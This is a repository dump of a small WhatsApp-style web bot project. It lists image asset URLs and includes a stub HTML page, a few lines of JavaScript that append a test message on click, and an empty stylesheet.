https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_incoming_pressed.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_incoming_pressed_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_incoming_pressed_ext.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_live_location_incoming_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_live_location_incoming_frame.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_live_location_outgoing_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_live_location_outgoing_frame.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_outgoing_frame.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_outgoing_frame.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_outgoing_normal.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_outgoing_normal.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_outgoing_normal_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_outgoing_normal_ext.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_outgoing_normal_stkr.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_outgoing_normal_stkr.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_outgoing_pressed.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_outgoing_pressed.9.png -------------------------------------------------------------------------------- /views/img/light/balloon_outgoing_pressed_ext.9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsajaygaur/tokio-wabot/d3407020ceba3a5066071215186f468fa0d58d6a/views/img/light/balloon_outgoing_pressed_ext.9.png -------------------------------------------------------------------------------- /views/index.html: -------------------------------------------------------------------------------- 1 | <html> 2 | <head> 3 | <title>Web 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 |
26 |
27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /views/index.js: -------------------------------------------------------------------------------- 1 | window.onload = () => { 2 | let chat = document.querySelector('div.container-fluid') 3 | function addMsg(obj) { 4 | let html = document.createElement('span') 5 | html.className = 'msg' 6 | html.innerHTML = obj 7 | chat.appendChild(html) 8 | } 9 | 10 | window.onclick = () => addMsg(12) 11 | } 12 | -------------------------------------------------------------------------------- /views/style.css: -------------------------------------------------------------------------------- 1 | span.msg { 2 | } 3 | 4 | --------------------------------------------------------------------------------